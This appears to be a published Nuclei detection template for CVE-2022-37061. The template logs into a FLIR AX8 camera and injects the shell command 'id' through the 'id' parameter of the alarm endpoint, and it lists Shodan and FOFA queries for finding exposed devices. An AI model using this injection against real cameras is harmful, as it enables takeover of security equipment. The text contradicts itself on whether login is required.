CVE-2022-37061: FLIR AX8 1.46.16 - Remote Command Injection

2025-08-01 FLIR AX8 1.46.16 PoC Public

Description

FLIR AX8 version 1.46.16 and below is susceptible to an unauthenticated remote command injection vulnerability.The vulnerability exists in the alarm functionality where user-supplied input in the 'id' parameter is not properly sanitized,allowing attackers to inject and execute arbitrary OS commands.

PoC

id: CVE-2022-37061

info:
  name: FLIR AX8 1.46.16 - Remote Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    FLIR AX8 version 1.46.16 and below is susceptible to an unauthenticated remote command injection vulnerability.The vulnerability exists in the alarm functionality where user-supplied input in the 'id' parameter is not properly sanitized,allowing attackers to inject and execute arbitrary OS commands.
  impact: |
    Authenticated attackers can execute arbitrary OS commands on FLIR AX8 thermal imaging cameras through command injection in the alarm functionality's id parameter, potentially gaining complete control over the camera system and connected infrastructure.
  remediation: |
    Upgrade to the latest version of FLIR AX8 that addresses this vulnerability. Implement proper input validation and sanitization for all user-supplied data.
  reference:
    - https://www.exploit-db.com/exploits/52240
    - https://www.flir.com/products/ax8-automation/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37061
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-37061
    cwe-id: CWE-78
    epss-score: 0.99607
    epss-percentile: 0.99946
  metadata:
    verified: true
    max-request: 1
    vendor: flir
    product: ax8
    shodan-query: title:"FLIR"
    fofa-query: app="FLIR-AX8"
  tags: cve,cve2022,flir,ax8,rce,authenticated,vkev,vuln

http:
  - raw:
      - |
        POST /login/dologin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user_name={{username}}&user_password={{password}}

      - |
        POST /res.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=alarm&id=2;id

    matchers-condition: and
    matchers:
      - type: regex
        part: body_2
        regex:
          - 'uid=([0-9(a-z)]+)'
          - 'gid=([0-9(a-z)]+)'
          - 'visualBeep'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e3e940b7ce06eb882344488dd05a286a732c872ca7c3c8d5c23c8bec62cbfee60220314f9dfbc444afee55facad7e9feef81186090072f954e3e3473e2ef3125a9d8:922c64590222798bb761d5b6d8e72950

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